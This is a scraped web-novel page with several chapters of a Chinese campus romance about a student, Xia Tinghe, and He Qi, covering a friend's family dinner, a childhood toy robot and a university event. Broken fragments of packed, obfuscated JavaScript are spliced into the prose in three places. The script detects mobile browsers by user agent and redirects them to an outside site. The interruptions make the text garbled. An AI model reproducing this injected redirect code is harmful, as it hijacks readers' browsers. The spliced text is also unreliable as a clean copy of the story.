0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737142|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么必要隐瞒，你都可以看到的。” 夏汀禾正打算解释，罗欣又先截了她的话：“你应该没来过这样的地方吧？” 夏汀禾实话实说了：“……嗯。” 罗欣忍不住又问：“你家是不是大平层啊？” 夏汀禾也实诚地回答了：“是。” 罗欣：“……”她就不该问。 夏汀禾：“不过我小时候住的也是老家那边的房子，可能比你们家现在这样还要小一点的。” 想到以前的屋子，夏汀禾又补了一句：“而且我其实更喜欢在那边的生活。” 罗欣好奇起来：“为什么？” 夏汀禾坦然地回了她：“因为在那里，我是和我爸妈住在一起的。” 罗欣隐约也有了解过她的家庭情况，知道她爸妈离了婚，现在夏汀禾是跟着妈妈。 没想提起别人的伤心事，罗欣挽了挽她的胳膊，又道了歉。 “对不起啊。因为之前我带一个朋友来过我们家。她家庭条件挺好的，看到我家是这样的之后，非常惊讶，我当时伤心了很久，所以我才会这么问你。” 夏汀禾摇了摇头：“但是我没觉得你家有什么不好的。叔叔阿姨人很好，屋子里布置得也很漂亮。再说了，我们不是在这之前就已经是好朋友了吗？” 她本来就长得乖，这么温声解释着，就显得格外认真。 罗欣听完之后，直接把筷子一扔，伸手抱了她一下。 “汀禾你再这样说我都要哭了。” 那天说完请夏汀禾来自己家的话后，罗欣是有些后悔的。 她担心夏汀禾也会像之前的朋友那样，看了她家的情况，就慢慢和她疏远了。 所以一直忐忑着到了今天。 两个人在客厅里搂搂抱抱的，罗母看见了，皱眉说了句：“你这孩子，在干什么呢？还不让人吃饭了？” 罗欣揉了揉眼睛，又跑过去抱了下她妈妈：“妈妈我爱你。” 罗母只当她是刷了什么短视频，又开始疯了，嫌弃地拍了下她的手，却也没推开。 夏汀禾坐在旁边看着，除了幸福和喜悦之外，再无感受到别的。 吃完了饭，罗欣又带着夏汀禾在附近逛了下。 这里的楼大多数都长得差不多，直到路过一栋看起来格外荒芜的，夏汀禾探头看了下。 “这里是没有人住了吗？” 罗欣想了想，回她说：“嗯，可能还真没有了。” 饭后也是闲聊，罗欣把自己知道的原由告诉了她：“好像是之前有一对爷孙在这儿住过。爷爷精神有点不正常，但身体挺好的，后来不知道怎么回事去世了，他孙子也就被父母接走了。” “我也不清楚是真的还是假的，不过有了这种传闻，一般房子都很难租出去的。” 夏汀禾也只随便当个消息听了下，没放在心上。接着，又和罗欣手拉手往前面的大马路上去了。 罗欣送她到了路口，分开时悄摸问她：“所以你和贺祁最近进展怎么样啦？” 什么进展啊…… 她是唯一知道全程的人，夏汀禾有些脸热，温吞地回应说：“就还是和以前一样的吧……” 看她的表情，罗欣就知道肯定有其他的了！ 正打算追问，夏汀禾的手机又响了一声。 两人同步看了过去。 屏幕上赫然显示着贺祁的名字。 【晚上有空么？】 41. 愿望 贺祁发完这条消息后，在阳台上站了一会儿，吹着风，接着很快又走回了包厢。 今天是他伯父的生日，为了庆祝，他爸妈特意订了这家餐厅。图个清净，也没请其他人了，就两家的大人小孩聚了聚。 他进去时，伯父正在和他爸搭着肩膀说话。兴许是喝了点酒的缘故，两个人都有些上头了。 “如果爸和妈还在这里就好了。”伯父说着眼眶湿润了起来，声音也不由得哽咽了些。 “都还没来得及让他们过上好日子，他们就走了。” 两个人低着头长叹着气。伯父这时看见贺祁进来，想到什么似的，叫住了他：“小祁，你是小辈里和爷爷相处最久的，感情也最深，最近有没有回老家看看？” 贺祁愣了下，还没回话，旁边的伯母就立即扯了扯丈夫的衣袖。 伯父这才如梦初醒，拍了下额头，也没在意他的答案了，立即坐直了身转而招呼大家吃饭。 贺祁的父母也再度换上了笑容，给儿子夹菜。 场面其乐融融。 后半程没人再提及爷爷的事。 一小时后散场，贺祁先开车送了伯父一家回去。 分别时，他绕到后备箱里去拿给伯父准备的礼物。关上了车门，正走过去，却见伯母拉住了他妈妈。 伯母小声地询问着：“小祁现在是不是还和你们不亲近啊？” 贺母没说话，只笑着就应对了过去。 等她们聊完了，贺祁才提着礼物走上前。 回去的路上，贺父贺母是坐在后排的。 夫妻俩望着彼此看了看，贺母最后在寂静的气氛中先开了口：“儿子，你待会儿和我们一起回家不？” 贺祁直视着前方的路，也没回头，回应道：“不了，我还有点事要出去一下，晚上睡宿舍。” 说完，后视镜里瞥到他妈妈有些失落的表情，贺祁又笑着补了一句：“明天不是要上课了么？在家里睡怕迟到，到时候辅导员要找我谈话了。” 他越是这样好脾气地应对，贺母心里越是觉得愧疚。 因为年轻的时候忙，两口子几乎没参与过贺祁的童年，后来等到他爷爷去世了，贺祁也早就习惯了一个人。 和他伯母说的一样，贺祁确实一直都和他们不怎么亲近，始终保持着距离。 他们想拉近和儿子的关系，但每当意识到贺祁根本不需要了，又会悻悻然地止住脚步。 无数话涌上心头，最后贺母却只想出一句能说的：“那好，你也早点休息。” 贺父也像是瞬间找到了什么落脚地，急忙跟着附和了一声：“对，注意身体。” “知道了。”贺祁笑着一一应下了，又反过来打趣他们：“你们俩也是，别老总是熬夜改论文了，学生压力也挺大的。” 贺母摇了摇头：“我身上的压力也不比他们小。” 贺父：“前段日子把你妈脸上痘痘都气出来了。” 贺母生气起来：“儿子都没注意到，你还把这个告诉他！” 只要不牵扯到以前的事，一家人总是能高兴地、毫无阻碍地说下去。 把爸妈送回家后，停好了车，贺祁从车库出来。 抬头一看，没想到他妈妈还在门口等着。 正准备过去，手机收到了新的消息。 夏汀禾给了他回答：【有呀，你有什么事吗？】 不自觉地勾了下唇，贺祁快速打了几个字回复：【晚上我过去找你，其他的待会儿和你说】 收起手机，贺祁朝他妈走过去。 见他过来了，贺母装作不经意地问：“儿子，你等下是要回学校还是去别的地方啊？” 贺祁笑了起来，回她说：“不回学校，和朋友有约了。” 他还是和刚才一样，脸上带着笑的，贺母却觉得有些不同了。 似乎是眼里多了份期待。 - 回到宿舍后，坐在书桌前，夏汀禾又看了遍贺祁的回复。 昨天不是还说不愿意过来了么？ 怎么今天又答应了？ 弄得她刚刚在罗欣面前都不好解释了，被她笑话着“啧”了好几声。 夏汀禾摸了摸微热的脸颊，又开了桌上的小风扇来降温。 “汀妹，晚上去操场跑步么？”宁苒突然出现在背后，夏汀禾慌乱地把手机一扣。 不敢看宁苒，她只低着头小声回应：“……你和忱姐还有穗穗一起去吧，我就不去跑了。” “哦，你晚上要和那个民宿的小姐姐一起玩是吧？”宁苒想起了她下午的行踪。 她都想说“那行”了，结果接着就听到夏汀禾回了：“不是。” “嗯？”宁苒的手搭在她椅子后背，把玩着她的头发，“那是要去图书馆？晚上也……” 夏汀禾打断了她，硬着头皮快速说了一遍：“贺祁约我了。” 手停在空中，宁苒好一会儿才听清楚她说了什么。 “贺祁约你了？？晚上？？？” 怕她误会，夏汀禾迅速解释：“就是他来我们学校，不会去别的地方的。” 她没想在这些事上再说假话，毕竟室友也是为了她着想。 宁苒撑着脑袋想了许久，才道：“行吧，那你晚上早点回宿舍。最迟十点，不，九点。” “到点没回来，我们就给你打电话了。” 夏汀禾立即乖乖应下。 实际上宁苒也没和她说太多，没多久有别的朋友找她，她很快又出了门。 应忱和黎穗去逛超市买东西去了，还没回来。 独自一个人在宿舍待着，夏汀禾看完了早上贺祁给他发的资料。初步确定了一些院校之后，她又去学校的官网仔细翻看了下。 一下午很快过去，到了约好的重点，夏汀禾想起来这么一回事，才迅速关了电脑，打开衣柜换衣服。 - 贺祁照例是在宿舍楼下等着。 夏汀禾：【我下来了】 收到这条消息，贺祁抬眸朝门口看去。 夏汀禾小心翼翼地从楼梯上下来。 她穿了件淡粉色的改良旗袍，侧边开了一点叉，露出内里的白色衬裙，两种颜色交叠间隔着，走路晃动时像是摇曳的鱼尾裙。 她用簪子把头发绾了上去，耳侧只留了一些碎发，看上去温软又乖巧。 这套旗袍是蔺妤买给夏汀禾的二十岁生日礼物。因为怕弄脏，夏汀禾平时很少穿。 不过为了搭贺祁送的项链，她也只从衣柜里翻出了这条合适的。 而且她知道自己这么穿好看。 没注意到贺祁还在发愣，夏汀禾先开了口：“那就带你去之前我说过那个好玩的地方了？” 被她的声音拉回了神，贺祁才掩饰着慌乱说了声：“噢，好。” 实际上他也没听清楚前半句是什么。 走了十几分钟了，贺祁才想起来问：“所以是去哪？” 夏汀禾笑了下，眉眼弯弯地和他说：“暂时保密。” “提前告诉你就不有趣了。” 她的语气是少有的俏皮可爱，贺祁清晰地感觉到心脏在某一瞬间加速跳动了下。 夏汀禾带他去的地方也在校内，不过走过了好几个分岔路口，才快要到了目的地。 隔着几十米远提前看见了门店，夏汀禾不由得加快了脚步。 贺祁看着她在前面越走越快，皱了下眉，忍不住提醒了句：“夏汀禾，走慢点。” 下午才下过了雨，地面还有积水。人行道上铺着湿漉漉的石砖，有些地方还是光滑的，一不留神就容易摔。 夏汀禾没听见他这句，反而越走越快，贺祁只好快步跟了上去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752177|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 先一步抵达了店面，看到门口亮起来的灯，夏汀禾欣喜地转过头去和他分享：“还没关门。” 她就是怕晚上这家店不开了，所以才着急过来查看情况。 瞥到她眼里的光亮，贺祁原本想说的话又咽了回去。 掀开门帘，两个人一起走进了店内。 看到桌上摆放着的积木，贺祁才意识到夏汀禾带她来这里的缘由。 夏汀禾也和他解释了：“我看你好像挺喜欢拼这些的，就想起了这家店。” 是之前在民宿的时候，夏汀禾发现贺祁无聊的时候很少玩手机，反而是会经常拿着一些积木玩。 后来回到学校再次经过这家店，莫名地就记起了他。 夏汀禾指了指货架上的积木：“我们挑一个一起在这里拼，怎么样？” 他其实对这东西并没有多喜欢，只是闲着无聊玩玩。不过夏汀禾高兴，贺祁也就笑着答应了：“行。” 贺祁这么说着，也随便她挑。 直到他看见了手侧边的一套积木，瞬间止住了声。 夏汀禾察觉到了这点，很快跟着他的视线看了过去。 是一套机器人的。 包装上写的建议年龄在八到十岁。 夏汀禾不明白贺祁为什么突然停在了这上面，但总之说明这是吸引他的地方。 “买这个可以吗？”她拿了起来询问贺祁的意见。 他脸上的神情已经恢复如常，和往常一样随意地回答：“都行。” 在店里买了产品之后，可以直接在旁边的长桌上拼。 夏汀禾以为贺祁会感兴趣的，她兴致勃勃地拆开了包装，按照说明书拼装，贺祁却表现得很冷静。 到了中途，夏汀禾还想找点什么话来活跃气氛，贺祁忽地开口说：“我出去买点东西。” 夏汀禾只好点头：“……哦，好。” 贺祁其实也没有要买的。 他只是觉得有点好笑。 没想到十几年前被他扔了的东西，如今会再次出现在他眼前。 他当时用了自己存下来的钱，去商场买了这套积木。想等爸爸妈妈回来了，和他一起拼。 具体原因似乎是小学班主任要求小孩和家长要有互动。 结果他们回来了，贺祁得到的消息却是要把他送去爷爷那。 他哭了很久，但是父母还是把他送走了。他带着积木去了爷爷那，几年后的某天再次翻了出来。 考虑到爷爷视力不好，精神也不好，可能没办法和他一起拼这么多，他这次在学校里偷偷拼好了一半才带回了家。 那天他很高兴，像很久之前那样期待着，然而回了家，爷爷却不在了。 隔天，他就从大人口中知道——爷爷去世了。 积木再次被淹没在记忆里。直到今天也没再拿出来。 “嘟——” 路边的一声鸣笛切断了贺祁的思绪。 回到眼前，想起夏汀禾还在店内，贺祁轻呼了一口气，又走了回去。 刚进去，坐在长桌后的夏汀禾突然叫了他的名字：“贺祁！” 她的声音里带着喜悦。 贺祁还打算找个借口解释说他刚没找到要买的，却没想到夏汀禾和他说的是别的。 “我拼好了！你看！”夏汀禾举了下拼得完完整整的积木，送到他眼前。 大概是因为做的时候太认真了，她也没注意到自己的头发已经散开了，有一缕没一缕地搭在了肩膀上。 但是贺祁看着她，只觉得心脏像是突然被狠狠地撞了一下。 站在门口，一时间一句话都说不出来。 感受比任何时候都要来得强烈。 那样触动和深刻。 他没想到。 原来十岁时没完成的愿望，二十岁会有人帮他完成。 42. 方向 见贺祁仍旧在门口没动，夏汀禾拿着积木起了身，跑到他面前来。 “而且这个里面还可以好像装电池让它发光。” 她摊开手，把刚才一起买的电池递给贺祁，温声问：“你要试试吗？” 贺祁没回答，垂着眼眸看了看她，许久，嘴唇才有了松动的迹象：“好。” 他从夏汀禾手心里拿了电池，找到机器人的背面，开了盖，“咔哒”一下，很快装了上去。 自己一个人拼过太多次，他早就对这套积木的各个部位烂熟于心了，只是从来没有到这一步。 接通了电源，机器人的眼睛瞬间亮了起来。 原来是绿色的。 原来。 是绿色的啊。 真好看。 像是第一次接触到什么新鲜物品，贺祁扣着机器人的各个关节扭上扭下，发出“咔咔”的声响，乐此不疲。 夏汀禾在旁边看着，有些好奇：“有这么好玩吗？” 贺祁看着也不像是小时候会缺这些普通玩具的。 “嗯。”贺祁把机器人的手做成投降的姿势，推到夏汀禾面前，懒洋洋地问她：“这还不好玩么？” 夏汀禾被他逗笑了。 虽然不知道笑点在哪，但两个人就这么站在门口笑了好一会儿。 直到有新的顾客要进来了，有些尴尬地对着他们俩说：“你好，请问可以让一下吗？” 夏汀禾才忍住了，立即给人家道歉让了路。脸颊开始泛热，她转头又有些嗔怪地看了贺祁一眼。 都怪他。 总是用一些奇奇怪怪的想法弄得她笑…… 回去的路上，夏汀禾能感觉到，贺祁的心情好了不少，总之就一直逗她。 一路上都没停。 贺祁问她：“你后天开始上课了？” “嗯。”夏汀禾皱了下眉，“而且第一堂课就是早八的。” 她其实可以早起，但是起得太早容易犯困，意识还没清醒完全就要急急忙忙赶去食堂吃早餐，有时候碰上下雨天还要带伞赶路，校车要排长队，就更加觉得麻烦了。 “你呢？”夏汀禾觉得他应该不会比自己好到哪去。 贺祁“啧”了一声，回她说：“我也好不到哪去。” 说完，他又忽地笑了起来：“也就是这两周最早的课都是十点的，可以睡到自然醒，不用去和人抢早餐。教学楼就在宿舍五分钟之内的位置，九点五十五散步过去也行。” “就这些，所以也还好吧。” 分明就是在炫耀了，气不打一处来，夏汀禾直接上手轻捶了下他，气鼓鼓道：“我不和你说这个了。” 贺祁只好赶紧又笑着补了几句他们带课老师挺严格的，迟一分钟都不行，所以其实还是得早点起来。 而且他也习惯了早起去锻炼一会儿。 然而夏汀禾已经不听他的解释了，不管他再怎么问上课的事，夏汀禾半句都不和他说了。 没多久，两人再次回到了宿舍楼下。 夏汀禾看了眼手机，已经快到和宁苒约定的时间了，但这次她不好再主动推着贺祁走，只好低着头拐弯抹角地说：“……也挺晚的了，如果没有什么事的话，那我就先回宿舍了。” “你室友催你了？”贺祁反问她。 夏汀禾都不知道他从哪看出来的。她很快否认了：“没有！” 话落，感觉到自己说得太大声了，夏汀禾又瞬间降低了音量：“但是太晚了回去也不好，不是么？宿舍楼都有门禁的。” “也是。”贺祁点了下头表示了然，接着又道：“我还以为她们是担心你和我在一起会有危险呢。” 夏汀禾：“……” 她们就是。 夏汀禾自然不会把室友的想法告诉他，听了也当作没听见，随便应付一句“不会的”，就说自己有点困了，要回去睡觉了。 听到这个原因，贺祁让她走了。 装作乏力地上了楼梯，等到贺祁看不见了，夏汀禾三步并作两步，很快就回了宿舍。 走得太快，到门口时心脏都在砰砰直跳，还带着点心虚。 宿舍里已经传来室友的谈话声，她正打算拿钥匙开门，贺祁这时给她发了消息。 【刚刚不是还问我还有什么事么？其实还有一件忘记说了】 什么？ 夏汀禾回忆了下，一时间没想起来别的。 应该没有其他的了。 在她愣神的这片刻，贺祁补上了前面的。 【今天也很漂亮】 【我说的是你】 - 预想中的早八并没有来，老师有事请假了，调课到了下周，辅导员便接了这个机会，给整个学院开了一次会。 一早上被室友的闹钟吵醒，夏汀禾也没再睡了，起了床洗漱完后，又出去帮室友买了早餐回来。 她回来的时候，室友也已经穿好了衣物，正着急忙慌地往身上挎包。 “汀妹，导员把时间提前了十分钟，早餐我们待会儿开完会了再吃算了，你——” 宁苒这句话还没说完，陡然瞥见夏汀禾手上的东西，又换成了更差异的一句：“你去买早餐了？” “嗯……” 总之从那天晚上贺祁给她发了消息后，她这两天都莫名地很早就醒了。 时间紧，宁苒也没追着问了，道了谢就搭着她的肩膀飞速地赶往开会的阶梯教室。 开学前和学期末开会是常有的事，一般都是辅导员主持，简单和他们讲一下一整学期的重要事项。整个学院的学生都需要参与。 来得晚了，教室里后排和边上的位置基本上都被占满，四个人只能坐在正中间的前排。 前面没有了遮挡的人，宿舍几个人都不好意思吃早餐。是辅导员瞄到了放桌上的塑料袋，笑了笑，对着她们道：“放心吃吧，离开始还有几分钟呢。” 她们这才打开了早餐包装。 几百号人在教室里坐着，热闹得很。待了一会儿后，也就慢慢放松了下来。 “这次开会好像是讲未来规划的。”四个人咬着包子，应忱先吃完了，开了口。 黎穗举手提问：“谁的规划？学校还是我们的？” 宁苒：“肯定是指我们咯，学校的规划给我们讲了也没用啊。我们也帮不了啥。” “哦，虽然就算讲我们的，我们好像也做不了啥。” 应忱：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769459|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 黎穗晃了晃手指：“怎么能这么想！万一我们以后都变成学术大佬或者业界精英了呢。” 宁苒又咽了一口豆浆，拖着下巴看着黎穗，慢悠悠地说：“穗穗你这句话说出来自己信吗？” 黎穗：“…………” 几个人调侃着，回头看见辅导员过来了，赶紧把话一收。 他们辅导员是个三十多岁的男人，相比于其他老师来说，年龄和他们相差不算太大，性格也好，因此平日里经常和学生打成一片。 开会之前，导员摇了摇话筒，简单说了两句：“其实这个会是学校要求一定要开的，我觉得没有多大的必要。” 这句话一说出口，台下的学生就跟着起哄了。 “先别躁动。”导员笑了笑，“我是说如果单从理论的方面来说，意义不算特别大，但是你们要能在实践中去体会，那就非常有作用了。” 导员很快打开了ppt，夏汀禾看到屏幕上的第一张图，是一个人站在路口，前面摆了四个大方向，指向了不同的道路：就业、考研、考公、出国留学。 “废话就不说了，你们看到的这张图就是今天要讲的。上面的四个方向，也是百分之九十历届毕业生的去向。可以思考一下，有没有你感兴趣的？” 他一说完，教室里立即变得安静起来，气氛仿佛也凝重了些。 平日里悠闲地上上课，下课了和室友一起出去玩，一天天地也就过去了。一回头，才发现大学生涯已经走过了一半。 少有学生仔细地思考过这些。 尽管这个话题宿舍里几个人上次已经讨论过了，但随着导员逐步深入地讲解，也慢慢有了不同的体会。 在一片静默之中，宁苒悄悄凑过去问夏汀禾：“汀妹，所以你会选择在国内读研还是出国留学呀？” 夏汀禾正在做笔记，被她这么一问，不由得愣了下。 她自己整理的资料和贺祁发给她的，其实国内外的高校都包括了。只是夏汀禾从来没有想过出国留学的这条路。 去一个完全陌生的国度，她觉得很远，也有点担心自己会没办法独立。 她无法想象自己有天可以一个人勇敢地去任何地方闯荡。 好像还是更习惯陪在家人和朋友的身边。 夏汀禾不好先下结论，只好对宁苒说：“……我暂时还没确定。” 教室里太过安静，宁苒也不好一直和她讲小话，问了一句得到回应之后便点了点头，又挪回了自己座位。 夏汀禾看着屏幕上的一张图，一时间出了神。直到两小时后，导员拍手说“任务完成，可以散会了”，周围的人纷纷起身，夏汀禾才反应过来从座位上出去。 早上醒得太早，开完了会，三个室友不约而同地赞成回去再睡一觉，夏汀禾也陪着她们回去了。 只是到了宿舍，她还是十分清醒着的，于是没和室友一样直接躺到了床上去，她只在下面的书桌前坐着休息。 夏汀禾看到了电脑屏幕。 早上走得急，她的电脑没来得及关，还停留在贺祁给她发的资料那。 想了会儿，夏汀禾发了条消息给贺祁。 【你是也考虑读研的吗？】 43. 原因 其实不发这条消息，夏汀禾也觉得贺祁无论选择走哪条路，都能做得很好。 他本身的条件就已经具有优势，再加上性格随和不内耗、自律以及做事效率高这三点，夏汀禾还真想不出有什么对他来说是困难的。 好像面对任何事，贺祁都总是能轻轻松松地解决。 夏汀禾猜测他最大可能性会继续读研，也仅仅是因为他给自己发了那堆整理好的院校资料。 这个点，贺祁正好下了课，看到消息后很快回了她。 【昂】 【不出意外的话，会继续读】 还没等夏汀禾继续问，他反过来追问：【问这个做什么？】 夏汀禾想回他说“随便问一下而已”，贺祁又给她发了一条新的过来：【怎么？想和我选一个学校？】 什么呀…… 眼前忽地浮现出他说这句话时笑起来的模样。 脸颊开始泛热，夏汀禾抿了下嘴唇，直接回复说：【我就是好奇一下，也不可以吗？】 不过在贺祁说完之后，夏汀禾不可否认自己多想了一些。 贺祁：【没说不可以】 贺祁：【你已经确定学校了？】 夏汀禾：【还没】 夏汀禾是打算再深入了解一下，后续应该还要找老师问问。 贺祁；【行，那你确定了之后告诉我一声？】 看到这里，正咬着吸管喝水的夏汀禾疑惑了下：【为什么？】 他也好奇自己的吗？ 发完，夏汀禾又立即给他找了原因。 贺祁可能也只是礼貌地问一句而已。 然而，贺祁回她的是： 【我想知道】 他想知道她的选择。 心脏砰砰忽地连着跳了好几下，夏汀禾感觉到自己心里异样的情绪有些超出寻常了。 贺祁还追着她问：【这个理由可以么？】 正不知所措着，夏汀禾没办法回答他。 好在没一会儿，贺祁那边就又要开始上课了。 她找出理由来催促着话题结束：【你先上课吧，我有事要去忙了，不和你说了】 其实没什么事。 只是她有点乱了。 退出了界面，夏汀禾拍了拍脸颊让自己冷静下来。 宿舍里的其他三个室友还在睡觉，屋子里开着空调，她垂着眼睫，小声地轻呼了口气。 声音几乎被空调的气流声盖了过去，没人发现。 夏汀禾却觉得自己的反应很大。 隔了会儿，那点异样消失了，她才又继续滑动起列表，翻看没回的消息。 蔺妤是她除了宿舍群外唯一的置顶。 忽地看到最上方，想起来前几天晚上穿的旗袍，头脑一热，夏汀禾也给她也发了一条过去。 她给蔺妤发了那天试穿旗袍时拍的照片。 是在宿舍里随手拍的一张。角度原因，只拍到了上半身，但是好看的。 然而发过去没多久，夏汀禾就想撤回。 她和蔺妤很少聊这些生活上的琐事，日常的聊天记录也只有彼此问候回不回家的消息。 而且这些也只会出现在放假前后那一两天。 纠结来去，不知道出于什么原因，最后她还是任由照片那样摆在了那。 室友是在接近饭点时才醒过来的。 宁苒先拉开了床帘往下看了眼，看到夏汀禾依旧坐在书桌前，她打着哈欠问了句：“汀妹，你在下面干什么呢？早上那么早起来，不困吗？” 夏汀禾正回看着和贺祁的聊天记录，闻言迅速切出了界面，磕绊了一下回答说还好。 歇了会儿，宁苒清醒过来，从床上下来打算和夏汀禾贴贴，这时黎穗也“哗啦——”掀开了帘子，兴奋道： “既然大家早上都睡了这么久，今天精神应该不错吧！所以晚上有没有人陪我去操场？我们部门搞活动，需要凑人头。” 宁苒立即做了个叉的手势：“你们部门太死气沉沉，不好玩，不去。穗穗，我上次就被你骗了。” 黎穗赶忙解释：“那次是意外，这回我们还让部门的小伙伴把他们的室友、朋友带过来，保证热闹，而且活动还是我策划的！” 有过一次无聊至极的体验，宁苒坚决不去。 黎穗只好将希望寄托在应忱和夏汀禾身上。她眨了眨眼，可怜兮兮地问：“你们俩呢？” 应忱：“……我晚上还要做选修课的小组作业ppt，可能去不了。” 黎穗只好转头看向了夏汀禾。 其他两个人有缘由拒绝，但下午上完课，夏汀禾确实没什么事了，她本来也是打算追一下综艺，放松放松。 这种社交活动并不在她的考虑范围内…… “汀妹也不去吗？”黎穗下了床，穿着睡衣就跑过来晃了晃夏汀禾手臂，“你不想和别人讲话聊天也没关系的，只要坐在我旁边，然后拿东西吃就行。你全程玩手机都可以的。要是体验了一下，觉得不好玩，直接走了也可以。” 这是黎穗当上部门部长后第一次策划活动，夏汀禾也不想让她一个人孤立无援，于是点了下头，答应了。 黎穗抱着她感谢了大半个钟头。 - 活动是在晚上七点开始的。 夏汀禾本还想着吃完了晚餐再过去，结果一下课就被黎穗拉着去了操场。 因为是打算在操场的草地上举办，又是吃喝玩一条龙，所以得提前准备餐食和布置场地。 黎穗和部门的人在操场上忙活着，夏汀禾就被安排在旁边的台阶上坐着，手里拿着黎穗刚给她买的豪华版饭团和三明治吃。 时间还早，夏汀禾也没着急，细嚼慢咽地边咬着饭团边看着黎穗忙前忙后。 黎穗和别人交流着，无意间流露出来的自信和干劲，夏汀禾有时会愣一会儿。 她喜欢这样的感觉。 性格缘故，夏汀禾自己很难做到，所以看到身边的朋友这样，就不由得更钦佩了。 “诶，你也在这儿？” 夏汀禾正望着远处，忽地有人伸手在她眼前晃了下。 这一次不用看，光是听声音，她就已经知道是谁了。 最近碰见陈航的概率有点高，夏汀禾都怀疑他是不是换教学楼上课了，正好换到了她们专业这边。 “嗯。”夏汀禾礼貌性地点了点头。 她以为这样就算结束了打招呼流程，没想到陈航直接在她旁边坐下了，转头还告诉一同来的朋友说：“我碰见熟人了，你自己先去逛吧。” 夏汀禾期望的是那位朋友拉着陈航一起走，然而那人似乎已经司空见惯，意味深长地笑了笑，接着便离开了。 夏汀禾不动声色地坐得离他远了些。 “那个是你朋友吧？”陈航指了下不远处的黎穗，“你是不是来帮她撑场面的？” 他似乎压根也不在意夏汀禾的回答，紧接着自己又道：“我也是，我朋友是这个部门的，拉我过来的，没想到还能在这儿碰到你。” 他一个人自言自语也能说挺多话的，夏汀禾不知道该从哪接话，索性全部都随便地笑一下应付过去。 半小时后，活动开始。 黎穗叫她，夏汀禾便迫不及待地跑了过去。 因为被人看着，她手里的饭团都没吃完。 黎穗担心她饿肚子：“你怎么都没吃呀？是不好吃吗？” “不是。”夏汀禾扯出一个借口来，“有点 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他边说边指了下旁边一个正在拍照的女生，对方抽空回过头来对夏汀禾一笑，估计是在回应陈航说的话。 黎穗怕夏汀禾尴尬，还想着拒绝，但部门的同学开始叫她去组织活动了，夏汀禾也不想再麻烦黎穗，于是一口答应了：“……那谢谢了。” 陈航看着她笑了下：“不客气啊，大家都是同学嘛。” 夏汀禾又觉得可能是她想的太多了，陈航只是热心了些。她不应该先入为主地对帮助自己的人有不好的看法。 夏汀禾也抬头对他笑了笑。 这是意料之外的。 看到她的笑容，陈航怔了许久——难怪付言辞会喜欢她，是真长得乖。 除了开始的这点小意外，活动开始后，一切都很顺利。 黎穗策划了很多活动，又特意叫了几个捧场王，现场的氛围被带动起来，夏汀禾也跟着玩了好几个游戏。 到了最后，一群人玩得上头，都没意识到已经十点了。 是有人提醒说得回宿舍睡觉了，不然赶不上门禁，活动才慢慢散场。 一个接一个地往外走，黎穗这时想起来还要拍照。奈何人都走远了，她也没办法拍合照了，只得随机咔了几张现场图交差。 等着黎穗修图发部门群里以及朋友圈的空隙，夏汀禾叠好了衣服，还给了陈航。 为了表示感谢，她还在叠好的衣服上放了几块巧克力，又用便利贴写了几行字。 看到了她附赠的小东西，陈航有意调侃着说：“你这么细心，她要是早知道，肯定不用我说都借给你了。” 说完，像是怕她不放心，陈航特意当着她的面，把衣服还给了女生。 两个人虽然没有直接的交流，但夏汀禾还是对女生微笑着点了下头，才重新跑回了黎穗那边。 发完了朋友圈，黎穗正满脸疑惑地看着手机。 “怎么了吗？”夏汀禾以为是出什么事了。 黎穗把手机递给她看。 她发了几张活动的照片。因为是晚上，拍出来的其实很模糊，除了聚焦的食物外，人脸基本上都在阴影中，看得不真切了。 夏汀禾一一看了过去，发现有张不小心抓拍到了她给陈航递外套的瞬间。 不过他们俩在照片边缘的角落里去了，不仔细也不会看见，而且只是背影而已，就算看见了，也不一定能认出来。 夏汀禾没看出什么特别的。 她直接问了：“有什么问题吗？我好像没看出来。” 黎穗指了指点赞的人。 “没什么问题。” “就是挺惊讶的，贺祁给我点赞了。” 44. 想法 九点，晚课结束，一群学生接二连三地从教学楼里出来。 互相交谈着，飞扬的笑声穿插在校园里，给寂静的夜色添了几分热闹。 下了楼梯，贺祁还没往宿舍走，梁浩就飞快地跑过来搭上了他的肩膀，嚷嚷道：“兄弟，我真没想到你是这样的人。” 说完，他还啧了好几声摇头。 贺祁下意识地把手机收了，闻言笑了下，问：“哪样？” 梁浩指了指他的手机：“别以为我没看到啊，你刚给别人朋友圈点赞了。我的你都从来不看。” 想起刚才看到的照片，贺祁随口回了句：“碰巧刷到了而已。” “所以是谁的朋友圈？”梁浩好奇地凑过来，“你爸妈的？” 他猜测的答案让贺祁愣了下。 “为什么猜他们？” 梁浩回他说：“上次你和他们见完面，感觉心情还挺不错的。你不是还拿了一个礼物回来？” 他指的是贺祁拿回宿舍、摆在桌上的积木机器人。 梁浩并不知道他当天和爸妈分开后，晚上去见了夏汀禾。 “不是他们送的。”贺祁的语气淡了下来。 “啊？不是他们送的？”梁浩惊讶了下。 除了他爸妈，应该也不会有人给他送看起来这么童真的东西了吧？ 而且他看贺祁似乎还挺喜欢？ 因为偶尔会回家里住，贺祁在宿舍里的东西很少。他的桌面就更加整洁了，除了笔记本电脑和一些书、笔之类的文具，桌上基本上没有用来装饰的。 所以眼睛亮着绿灯的机器人才会格外显眼。 